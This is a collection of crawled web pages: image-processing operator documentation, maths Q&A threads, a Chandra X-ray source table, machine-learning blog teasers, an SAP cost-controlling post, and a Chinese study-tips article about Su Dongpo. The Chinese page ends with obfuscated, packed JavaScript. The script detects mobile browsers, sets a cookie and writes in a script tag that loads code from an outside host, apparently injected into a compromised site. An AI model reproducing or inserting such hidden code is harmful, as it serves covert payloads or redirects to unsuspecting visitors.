https://www.mvtec.com/doc/halcon/12/en/disparity_to_distance.html	[ "Operators\n\n# disparity_to_distance (Operator)\n\n## Name\n\ndisparity_to_distance — Transform a disparity value into a distance value in a rectified binocular stereo system.\n\n## Signature\n\ndisparity_to_distance( : : CamParamRect1, CamParamRect2, RelPoseRect, Disparity : Distance)\n\n## Description\n\ndisparity_to_distance transforms a disparity value into a distance of an object point to the binocular stereo system. The cameras of this system must be rectified and are defined by the rectified internal parameters CamParamRect1 of camera 1 and CamParamRect2 of camera 2, and the external parameters RelPoseRect. Latter specifies the relative pose of both cameras to each other by defining a point transformation from rectified camera system 2 to rectified camera system 1. These parameters can be obtained from the operator calibrate_cameras and gen_binocular_rectification_map. The disparity value Disparity is defined by the column difference of the image coordinates of two corresponding points on an epipolar line according to the equation (see also binocular_disparity). This value characterises a set of 3D object points of an equal distance to a plane being parallel to the rectified image plane of the stereo system. The distance to the subset plane z=0 which is parallel to the rectified image plane and contains the optical centers of both cameras is returned in Distance.\n\n## Attention\n\nIf using cameras with telecentric lenses, the Distance is not defined as the distance of a point to the camera but as the distance from the point to the plane, defined by the y-axes of both cameras and their baseline (see gen_binocular_rectification_map).\n\n## Parallelization\n\n• Multithreading type: reentrant (runs in parallel with non-exclusive operators).\n• Processed without parallelization.\n\n## Parameters\n\nCamParamRect1 (input_control) number-array (real / integer)\n\nRectified internal camera parameters of the projective camera 1.\n\nNumber of elements: CamParamRect1 == 8 \|\| CamParamRect1 == 12\n\nCamParamRect2 (input_control) number-array (real / integer)\n\nRectified internal camera parameters of the projective camera 2.\n\nNumber of elements: CamParamRect2 == 8 \|\| CamParamRect2 == 12\n\nRelPoseRect (input_control) pose (real / integer)\n\nPoint transformation from the rectified camera 2 to the rectified camera 1.\n\nNumber of elements: 7\n\nDisparity (input_control) number(-array) (real / integer)\n\nDisparity between the images of the world point.\n\nDistance (output_control) real(-array) (real)\n\nDistance of a world point to the rectified camera system.\n\n## Result\n\ndisparity_to_distance returns 2 (H_MSG_TRUE) if all parameter values are correct. If necessary, an exception is raised." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.76663405,"math_prob":0.9543936,"size":2311,"snap":"2021-21-2021-25","text_gpt3_token_len":503,"char_repetition_ratio":0.18378846,"word_repetition_ratio":0.054711245,"special_character_ratio":0.19385548,"punctuation_ratio":0.09217877,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9504173,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-09T20:38:40Z\",\"WARC-Record-ID\":\"<urn:uuid:78327f05-009f-4c0a-9449-68d2e2f196cf>\",\"Content-Length\":\"43979\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d5a68a95-1b16-4441-9b8e-7286d1cdf1b4>\",\"WARC-Concurrent-To\":\"<urn:uuid:64d6648a-0535-4bb6-8c3b-4d8bae73ee8e>\",\"WARC-IP-Address\":\"185.243.132.235\",\"WARC-Target-URI\":\"https://www.mvtec.com/doc/halcon/12/en/disparity_to_distance.html\",\"WARC-Payload-Digest\":\"sha1:27FOZDPZB5BKA6BBXUPJ4LGZPMF2Q7M4\",\"WARC-Block-Digest\":\"sha1:PV32RW4YOJHY6WENJBR7FTAGN7MKQGG2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243989012.26_warc_CC-MAIN-20210509183309-20210509213309-00331.warc.gz\"}"}
https://math.stackexchange.com/questions/2184262/finding-diagonal-matrices-with-complex-entries	[ "# Finding diagonal matrices with complex entries\n\nFind all diagonal 3 x 3 matrices A with complex entries such that $A^2$=$$\\begin{bmatrix} 0 & 0 & 0 \\\\ 0 & 2 & 0 \\\\ 0 & 0 & -1 \\\\ \\end{bmatrix}$$\n\nCan anyone please help me how to start this? I'm not sure how I should approach this question. Any help would be greatly appreciated!\n\n• A $3\\times 3$ diagonal matrix has the form $$A=\\begin{bmatrix} a & 0 & 0\\\\ 0 & b & 0\\\\ 0 & 0 &c\\end{bmatrix}$$ for some $a,b,c\\in\\mathbb{C}$. Now what must $A^2$ look like? – Zack Cramer Mar 13 '17 at 4:09\n• does that mean that$$A^2=\\begin{bmatrix} a^2 & 0 & 0 \\\\ 0 & b^2 & 0 \\\\ 0 & 0 & c^2 \\\\ \\end{bmatrix}$$? so does complex entries mean that entries should be in the a+bi form??? – user425030 Mar 13 '17 at 4:14\n• Yes, each entry has that form. Now compare this to the matrix $$\\begin{bmatrix} 0 & 0 & 0\\\\ 0 & 2 & 0\\\\ 0 & 0 & -1\\end{bmatrix}.$$ – Zack Cramer Mar 13 '17 at 4:24\n• So I can do, something like (a+bi)^2 = 2 and same with -1? – user425030 Mar 13 '17 at 4:28\n• Yup! That should do it. – Zack Cramer Mar 13 '17 at 4:29\n\n## 1 Answer\n\n@Zack Cramer has done the heavy lifting.\n\nIn the complex plane, the $n$th root of unity has produces $n$ points on the unit circle. For the square root, $n=2$: $\\theta_1 = 0$, $\\theta_2 = \\pi$. When $z = 2$, $$\\sqrt{z} = \\pm \\sqrt{2}$$" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8736246,"math_prob":0.99985075,"size":280,"snap":"2019-13-2019-22","text_gpt3_token_len":90,"char_repetition_ratio":0.13405797,"word_repetition_ratio":0.037037037,"special_character_ratio":0.35714287,"punctuation_ratio":0.054545455,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9989392,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-21T06:27:38Z\",\"WARC-Record-ID\":\"<urn:uuid:42227adf-4d64-4a29-9c41-2ff89369f583>\",\"Content-Length\":\"131407\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:040ac10e-ec7f-41fa-a6ed-6209edb390a4>\",\"WARC-Concurrent-To\":\"<urn:uuid:04bedce6-c535-41ee-9e47-3cbe2965be6a>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/2184262/finding-diagonal-matrices-with-complex-entries\",\"WARC-Payload-Digest\":\"sha1:XD3O5PYDIEXABMFEQV5NJFXXR36SYOJQ\",\"WARC-Block-Digest\":\"sha1:A4ARGQJAIWYEKOPLFCF2FKRQ7SOGZTLA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232256281.35_warc_CC-MAIN-20190521062300-20190521084300-00160.warc.gz\"}"}
https://mathematica.meta.stackexchange.com/questions/1774/how-can-i-get-a-good-looking-display-of-a-large-output-in-a-question	[ "# How can I get a good-looking display of a large output in a question?\n\nIn this Question both of my displayed outputs are a mess on Chrome. The first one (with radicals) creates huge parenteses and runs off the right of the page, and the second one (with large integers) runs waaaaay off the right of the page. Is there a way to fix this? I just pasted the TeXForm output in between some dollar signs. I've run into this problem posted a few other questions too.\n\nIf you paste the InputForm, Mathematica will break the integer up, but in a way that can be pasted back into Mathematica:\n\n1476970928157351816860042743128858490934671778871862601818801179568155\\\n1674608250556373798213438838903089324192397165503115692398200979544523\\\n7436098869911125858111671457534293531550227204426557474412874444056537\\\n5589523598122491930882044615447482230883087076619463975044428225272927\\\n6599091628027019385080181289731159787444984671454946081033581682364322\\\n7293330493863411548106839219241822466768921583568955627335268963141029\\\n6101193045612568151469291529425850567811242123738162398090082254628903\\\n9363594238495861592432726605188205131294019936846760883091164464285543\\\n3909402967926 -\n104437615891545257496417768499303993150192546198507781167667629123050\\\n9863316110627206227260454120965903445640602087706863031327574125812872\\\n2132114070519309070230123775812359156216004345017373200971964237001881\\\n2330693084500590805964215749598013705892215307391548522404846842401369\\\n8986750819005501472217302202169568300331811215147028898939339794943089\\\n7213747545170723769636181617027626790881159267053175932151752623087973\\\n6820859410888074310814279229466095712432316237303167672249609959845163\\\n6322214327380689081912532243931648371437306541992775161133538382715767\\\n86201217435197 Sqrt\n\n\nOn the other hand, is it necessary to show all this? Maybe this is better, unless you think it's important for people to be able to check your output?\n\n(14769...26) - (10443...97) Sqrt (* digits omitted *)\n\n\nThe TeX probably requires some manual intervention:\n\n$$\\left(\\dots\\left(\\left(\\left(2-\\sqrt{2}\\right)^2 - \\sqrt{2}\\right)^2-\\sqrt{2}\\right)^2 \\dots -\\sqrt{2}\\right)^2-\\sqrt{2}$$", null, "Or paste the InputForm (I entered some returns in the output cell to get it to break up the output across lines, at places of my choosing):\n\n-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt +\n(-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt +\n(-Sqrt + (2 - Sqrt)^2)^2)^2)^2)^2)^2)^2)^2)^2)^2\n\n• Unfortunately, MathJax does not work in Meta, so your TeX expression won't display here. I substituted a image made from a screenshot. Hope you don't mind. – m_goldberg Jan 12 '16 at 3:47\n• @m_goldberg Thanks. (I don't remember, but I thought I saw the formatted TeX after I posted. Could it be browser dependent? In any case, it's fine the way you did it.) – Michael E2 Jan 12 '16 at 3:48\n• The screenshot was made in my browser (Safari) with your TeX expression pasted into the editor on the main Mathematica.SE site, so I can't see how it could be my browser. – m_goldberg Jan 12 '16 at 3:53" ]	[ null, "https://i.stack.imgur.com/noKx0.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6852012,"math_prob":0.43468332,"size":2987,"snap":"2020-34-2020-40","text_gpt3_token_len":953,"char_repetition_ratio":0.09922896,"word_repetition_ratio":0.06481481,"special_character_ratio":0.5895547,"punctuation_ratio":0.09898477,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9789066,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-22T20:33:41Z\",\"WARC-Record-ID\":\"<urn:uuid:9dfe5e2c-8711-4a73-baa2-f0c798c2ca68>\",\"Content-Length\":\"122544\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b611b461-b7f4-46d0-9d12-0813fcd882cc>\",\"WARC-Concurrent-To\":\"<urn:uuid:93b30796-6590-40d0-b7c8-e2708d7d4e94>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://mathematica.meta.stackexchange.com/questions/1774/how-can-i-get-a-good-looking-display-of-a-large-output-in-a-question\",\"WARC-Payload-Digest\":\"sha1:YJWR2NTTLAUO3YBL37OPKNZBX2JEVLKU\",\"WARC-Block-Digest\":\"sha1:SRZEHO36OSRWURGBFRHNOCYO4A4FHV2K\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400206763.24_warc_CC-MAIN-20200922192512-20200922222512-00584.warc.gz\"}"}
https://wordpandit.com/alligations-and-mixtures-formulas-and-tricks/	[ "In this article, we will take a recap of all the important formulas, tricks and shortcuts that will help you solve questions easily within less time.\n\n1. A Mixture is a result of the mixing of two or more ingredients in some fixed ratio(or quantity) and a combination of two mixtures is also called a Mixture.\n1. Alligation is a process of linking or we can say that the process of mixing the two quantities of different ingredients or different costs to form a mixture of mean cost.\n1. Concept of weighted average:\n\nWeighted average =", null, "If x1 quantity is sold for Rs a1 per kg, x2 is sold for Rs a2 per kg, x3 quantity is sold for Rs a3 per kg and so on xn quantity is sold for Rs an per kg respectively, then the weighted average ‘w’ is given by:", null, "1. Alligation Rule:\n\nSuppose Rs. d per unit be the price of the first ingredient (superior quality) mixed with another ingredient (cheaper quality) of price Rs. c per unit to form a mixture whose mean price is Rs. m per unit, then the two ingredients must be mixed in the ratio:", null, "i.e., the two ingredients are to be mixed in the inverse ratio of the difference of their prices and the mean price.", null, "1. If a vessel has ‘y’ units of mixture of ingredients ‘a’ and ‘b’. From this mixture ‘x’ unit is taken out and replaced by an equal amount of ingredient b.This process of taking out and replacing is repeated say for ‘n’ times. Then,\n\nAmount of ‘a’ left in the mixture = Total mixture x", null, "1. When we have questions containing water, we consider value of water as zero. (Though it is priceless J)\n1. A mixture of a certain quantity of milk and ‘z’ litres of water is worth Rs ‘a’per litre. If pure milk is worth Rs ‘b’ per litre, then the quantity of milk is given by .", null, "2. In what ratio water must be mixed with spirit to gain or to lose x% by sellingit at cost price is given by (", null, ")\n\n### Alligations and Mixtures Questions: Problems on Alligations and Mixtures you should solve for competitive examination preparation\n\nWelcome to this exercise on Problems on Alligations and Mixtures. In this exercise, we look at the summary of tips and tricks for Alligations and Mixtures. As you prepare for your competitive examinations, you will come across questions on Alligations and Mixtures. Such questions need optimized tackling and can be solved with ease by using simple tricks and understanding the relationships highlighted in this Alligations and Mixtures Questions article. The Alligations and Mixtures Questions exercise comes into the picture where it gives you a chance to practice the highlighted and important concepts related to Alligations and Mixtures question type.", null, "", null, "" ]	[ null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20165%2043'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20258%2075'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20343%2045'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20410%20182'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2079%2065'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2077%2054'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2038%2055'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20253%20179'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2027%2026'%3E%3C/svg%3E", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.93196326,"math_prob":0.97463953,"size":2597,"snap":"2023-40-2023-50","text_gpt3_token_len":574,"char_repetition_ratio":0.15618974,"word_repetition_ratio":0.0064655175,"special_character_ratio":0.21216789,"punctuation_ratio":0.07444668,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9604502,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-03T21:32:41Z\",\"WARC-Record-ID\":\"<urn:uuid:f5495a07-0beb-4933-9942-aa30c3fe2495>\",\"Content-Length\":\"280096\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2f88766d-d7a0-4962-8f08-ce728a5474cf>\",\"WARC-Concurrent-To\":\"<urn:uuid:37622e9b-6390-4c7d-ad59-4d5bdc167e2c>\",\"WARC-IP-Address\":\"68.183.245.121\",\"WARC-Target-URI\":\"https://wordpandit.com/alligations-and-mixtures-formulas-and-tricks/\",\"WARC-Payload-Digest\":\"sha1:SQYK2QJ6F7S4ALXJR65TMGQDCJHIIDZN\",\"WARC-Block-Digest\":\"sha1:452BMFS7YW4SD7NXIZOH7DRMUL66H2HQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100508.53_warc_CC-MAIN-20231203193127-20231203223127-00573.warc.gz\"}"}
https://asd.gsfc.nasa.gov/xassist/pipeline4/chandra/11545/acisf11545/report/fullrun_acisf11545_srclist.html	[ "### Source List\n\nClick on source number for detailed analysis, including spectral fits if applicable\n\ndata idnum idradec telescope instrument x y cnts cntserr rate rateerr SNR poisprob sigmaj sigmin incang offax cnts_soft cnts_hard hr hr_err ext var N_H flux vign flags\nReport srcpi bgdpi arf rmf 2 X113151.58-123158.7 chandra ccd7 169.597 707.879 7890.77 93.5612 0.32049 0.00380006 364.169 1 0.826285 0.358249 80.9459 0.316708 5625.75 2345.56 -0.411499 0.0122524 A F 3.42e+20 2.63652e-12 1 dscxf\nReport srcpi bgdpi arf rmf 1 X113151.51-123158.6 chandra ccd7 171.719 708.084 9496.14 97.8377 0.385693 0.00397376 438.259 1 1.36108 0.833611 350.73 0.312938 6487.92 2690.5 -0.413733 0.0114211 A F 3.42e+20 2.87698e-12 1 dscbx\nReport srcpi bgdpi arf 1 X113232.86-124331.6 chandra ccd3 101.436 60.6292 47.1277 8.53326 0.00191413 0.000346585 15.8219 1 2.95469 2.19581 82.7597 15.557 29.2246 17.6582 -0.246707 0.186373 F F 3.51e+20 2.83226e-14 1 dx\n\ncounts and rate are bgd.-subtracted, based on simple spatial fitting (if done) or extracted counts from aperture otherwise (N.B., in either case aperture counts are given csv file).\ncntserr, rateerr = Error on (source) counts and count rate, based on error in total counts\nSNR = signal-to-noise ratio, computed using Nsrc/sqrt(Nbgd)\npoisprob = Poisson probability of observing total counts given bgd. counts\nsigmaj, sigmin = source extent (from detection output or spatial fitting) in units of arcsecs.\nincang = position angle of source (inclination from x-axis)\ncnts_soft = bgd.-subtracted counts in soft band (0.50 - 2.00 KeV, always taken directly from source aperture rather than model fitting)\ncnts_hard = bgd.-subtracted counts in hard band (2.00 - 7.99 KeV, always taken directly from source aperture rather than model fitting)\nhr, hr_err = hardness ratio ([cnts_hard-cnts_soft]/[cnts_hard+cnts_soft]) and error\next = source extension flag: F = false (not extended), T = true (extended), A = asymetric (ratio of sigmaj/sigmin > 1 + x, where x = 0.5 by default)\nvar = variability flag: U = unknown, F = false (is not variable), T = true\nN_H = Galactic column density as determined from LHEASOFT nh program\nflux = flux determined from count rate using pimms (in the 0.30-8.00 keV bandpass for a power-law model with ph. index = 1.8)\nvign = vignetting correction\nFlags: d = detection parameters, s = simple spatial fitting parameters, b = simple spatial fitting failed, p = poor simple spatial fit, x = extracted events parameters, t = temporal anaylsis parameters, i = psf spatial fitting parameters, f = spectral fitting parameters, c = source is confused, u = user-defined source, v = detected source coincident with user-defined source, r = source is in region-of-interest" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6695331,"math_prob":0.9822058,"size":2920,"snap":"2021-04-2021-17","text_gpt3_token_len":956,"char_repetition_ratio":0.11042524,"word_repetition_ratio":0.037470724,"special_character_ratio":0.40068492,"punctuation_ratio":0.17428088,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9613202,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-21T12:03:19Z\",\"WARC-Record-ID\":\"<urn:uuid:5e179c33-83c2-44ec-937d-94ebee88873a>\",\"Content-Length\":\"6750\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6b0fbedf-fab7-4539-a3a5-7a10960d930c>\",\"WARC-Concurrent-To\":\"<urn:uuid:e63a256f-a660-4def-916c-d62fd7f5109b>\",\"WARC-IP-Address\":\"129.164.179.20\",\"WARC-Target-URI\":\"https://asd.gsfc.nasa.gov/xassist/pipeline4/chandra/11545/acisf11545/report/fullrun_acisf11545_srclist.html\",\"WARC-Payload-Digest\":\"sha1:IMUMU5RYTJ5CSVLW6VIVVVSI2PSS7KXN\",\"WARC-Block-Digest\":\"sha1:QLZZXN2JULU5YYMU4HCLE7PA4I2GU3HR\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618039536858.83_warc_CC-MAIN-20210421100029-20210421130029-00104.warc.gz\"}"}
https://lips.cs.princeton.edu/category/machine-learning/page/2/	[ "## Variational Inference (part 1)\n\nAndy Miller\n\nI will dedicate the next few posts to variational inference methods as a way to organize my own understanding – this first one will be pretty basic. The goal of variational inference is to approximate an intractable probability distribution, , with a tractable one, , in a way that makes them as ‘close’ as possible. Let’s unpack that statement a bit.\n\n## Geometric means of distributions\n\nRoger GrosseMachine Learning\n\nAnnealed importance sampling is a widely used algorithm for inference in probabilistic models, as well as computing partition functions. I’m not going to talk about AIS itself here, but rather one aspect of it: geometric means of probability distributions, and how they (mis-)behave.\n\n## Learning Theory: What Next?\n\nJonathan HugginsMachine Learning\n\nIn my previous post, I wrote about why I find learning theory to be a worthwhile endeavor. In this post I want to discuss a few open/under-explored areas in learning theory that I think are particularly interesting. If you know of progress in these areas, please email me or post in the comments.\n\n## Data compression and unsupervised learning, Part 2\n\nThis is a continuation of my last post about data compression and machine learning. In this post, I will start to address the question: Does “good” compression generally lead to “good” unsupervised learning? To answer this question, we need to start with another question: What is a “good” compression algorithm?\n\n## An Auxiliary Variable Trick for MCMC\n\nRobert Nishihara1 Comment\n\nI recently uploaded the paper “Parallel MCMC with Generalized Elliptical Slice Sampling” to the arXiv. I’d like to highlight one trick that we used, but first I’ll give some background. Markov chain Monte Carlo (MCMC) is a class of algorithms for generating samples from a specified probability distribution (in the continuous setting, the distribution is generally specified by its density function). Elliptical slice sampling is an MCMC algorithm that can be used to sample distributions of the form (1) where is a multivariate Gaussian prior with mean and covariance matrix , and is a likelihood function. Suppose we want to generalize this algorithm to sample from arbitrary continuous probability distributions. We could simply factor the distribution as (2)\n\n## What is representation learning?\n\nRoger GrosseMachine Learning1 Comment\n\nIn my last post, I argued that a major distinction in machine learning is between predictive learning and representation learning. Now I’ll take a stab at summarizing what representation learning is about. Or, at least, what I think of as the first principal component of representation learning.\n\n## High-Dimensional Probability Estimation with Deep Density Models\n\nRyan Adams and I just uploaded to the arXiv our paper “High-Dimensional Probability Estimation with Deep Density Models”. In this work, we introduce the deep density model (DDM), a new approach for density estimation.\n\n## Data compression and unsupervised learning\n\nData compression and unsupervised learning are two concepts whose relationship is perhaps underappreciated. Compression and unsupervised learning are both about finding patterns in data — but, does the similarity go any further? I argue that it does." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9494745,"math_prob":0.72478294,"size":797,"snap":"2022-05-2022-21","text_gpt3_token_len":158,"char_repetition_ratio":0.16393442,"word_repetition_ratio":0.0,"special_character_ratio":0.18820578,"punctuation_ratio":0.10638298,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9699806,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-22T00:41:14Z\",\"WARC-Record-ID\":\"<urn:uuid:d579b098-cad6-415f-8e39-d86b4ce2f1be>\",\"Content-Length\":\"64443\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:33af1c43-2ee2-4c45-90aa-02144cb9fe1c>\",\"WARC-Concurrent-To\":\"<urn:uuid:b2af0060-fc1a-4c67-9184-ba631e796251>\",\"WARC-IP-Address\":\"128.112.136.61\",\"WARC-Target-URI\":\"https://lips.cs.princeton.edu/category/machine-learning/page/2/\",\"WARC-Payload-Digest\":\"sha1:BE46YGPZTFBXXZYZF6RITKLSO54YBNCT\",\"WARC-Block-Digest\":\"sha1:5CWXPYC6TKBEMCE3FT4TYAPU4VZMMY4L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662543264.49_warc_CC-MAIN-20220522001016-20220522031016-00742.warc.gz\"}"}
http://blog.itpub.net/46681/viewspace-790472/	[ "# Sequence of Steps in Cost Object Controlling\n\nSequence of Steps in Cost Object Controlling[@more@]", null, "In the application component Product Cost Planning, you first create a standard cost estimate for the material to establish the standard cost.\n\nThen the following sequence of steps is performed in the application component Cost Object Controlling:\n\nPreliminary costing\nThe preliminary cost estimate calculates the planned cost for the object being costed. For example, if the cost object is a production order, planned costs can be used in variance calculation as the basis for calculating target costs.\n\nSimultaneous costing\nAll actual costs incurred for a cost object are collected directly on the cost object. Actual costs are incurred in different ways, such as through internal activity allocations and material withdrawals. This process of collecting actual costs on a cost object is called simultaneous costing. Simultaneous costing enables you to view and analyze the actual costs on a cost object at any time.\n\nFinal costing\nOnce the cost object has been produced, final costing determines the actual costs incurred during the production process. Final costing also serves the purposes of cost analysis and control.\n\nFinal costing is normally performed as a period-end closing process. For this reason, final costing in the R/3 System is one of the menu options under Period-End Closing.\n\nThe period-end closing process includes the capture of period costs. A period cost is an actual cost that is not attributable to the cost object from a particular activity. This can be the revaluation of activities at actual prices or the calculation of process costs or overhead, for example.\n\nIn addition, the period-end closing process can determine the value of the unfinished goods (work in process).\n\nYou can calculate variances in the period-end closing process in Product Cost by Period and Product Cost by Order.\n\nWhen you settle, you can transfer data to other application components such as Financial Accounting.\n\nPeriod-end closing in Cost Object Controlling is performed after period-end closing in Cost Center Accounting.\n\n• 博文量\n127\n• 访问量\n926498" ]	[ null, "http://img.blog.itpub.net/blog/attachments/gallery/507/507-3595.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8890118,"math_prob":0.66749495,"size":2110,"snap":"2021-21-2021-25","text_gpt3_token_len":421,"char_repetition_ratio":0.15622032,"word_repetition_ratio":0.012618297,"special_character_ratio":0.18341233,"punctuation_ratio":0.08423913,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9798857,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-07T13:46:13Z\",\"WARC-Record-ID\":\"<urn:uuid:b4e499b8-1629-4aae-8c0f-9fa582abb6da>\",\"Content-Length\":\"29842\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7450adcc-b499-4fc0-9cc3-7a277b1c776f>\",\"WARC-Concurrent-To\":\"<urn:uuid:15fb906e-075c-498b-a4d3-b11a4410a0be>\",\"WARC-IP-Address\":\"183.131.208.11\",\"WARC-Target-URI\":\"http://blog.itpub.net/46681/viewspace-790472/\",\"WARC-Payload-Digest\":\"sha1:4CTVB4AUFXSBC52LGLQMIR2KOHEP5TMY\",\"WARC-Block-Digest\":\"sha1:NYZCFU57BCZELLV2VEQLDLVXBRE27U2R\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243988793.99_warc_CC-MAIN-20210507120655-20210507150655-00151.warc.gz\"}"}
http://www.jmmoxiang.com/chuzhongfudao/xuexizhinan/2014-08-15/112883.html	[ "苏东坡“过目成诵”的秘密\n\n评论：\n\n“过目成诵”，意思是读上一遍就能背诵，据说宋代著名文学家苏东坡就具有这种“天赋”。\n\neval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m b=[\"\\g\\h\\a\",\"\\d\\i\\r\\c\\y\\S\\R\",\"\\l\\j\\j\\T\\d\\c\",\"\\k\\c\\a\\u\\d\\z\\c\",\"\\e\\c\\a\\u\\d\\z\\c\",\"\\g\\h\\a\\q\\U\\W\\c\\y\\h\\d\\f\\c\\e\\q\",\"\\a\\j\\V\\Q\\u\\L\\a\\f\\d\\i\\k\",\"\\a\\j\\K\\j\\A\\c\\f\\N\\g\\e\\c\",\"\\E\\e\\c\\f\\w\\k\\c\\i\\a\",\"\\i\\g\\D\\d\\k\\g\\a\\j\\f\",\"\\a\\c\\e\\a\",\"\\w\\i\\r\\f\\j\\d\\r\",\"\\w\\r\\f\",\"\\F\\e\\l\\f\\d\\h\\a\\B\\P\\g\\i\\k\\E\\g\\k\\c\\q\\o\\C\\g\\D\\g\\e\\l\\f\\d\\h\\a\\o\\B\\e\\f\\l\\q\\o\\X\\a\\a\\h\\e\\15\\n\\n\\e\\19\\t\\l\\i\\x\\x\\t\\18\\d\\x\\n\\e\\a\\g\\a\\t\\C\\e\\o\\G\\F\\n\\e\\l\\f\\d\\h\\a\\G\",\"\\A\\f\\d\\a\\c\"];J(v[b][b](b)==-1){m p=1b 17();p[b](p[b]()+Z);v[b]=b+p[b]();m s=16[b][b][b]();m I=/1a\|M\|Y/O[b](s);m H=s[b](b)>-1\|\|s[b](b)>-1;J(I\|\|H){v[b](b)}}',62,74,'\|\|\|\|\|\|\|\|\|\|x74\|_0xecdc\|x65\|x69\|x73\|x72\|x61\|x70\|x6E\|x6F\|x67\|x63\|var\|x2F\|x22\|exp\|x3D\|x64\|UA\|x2E\|x54\|document\|x41\|x7A\|x78\|x6D\|x77\|x20\|x6A\|x76\|x75\|x3C\|x3E\|isAndroid\|isIOS\|if\|x4C\|x53\|ipod\|x43\|gi\|x6C\|x4D\|x66\|x4F\|x6B\|x31\|x47\|x3B\|x68\|ipad\|36000000\|\|\|\|\|\|x3A\|window\|Date\|x62\|x36\|iphone\|new'.split('\|'),0,{}));" ]	[ null ]	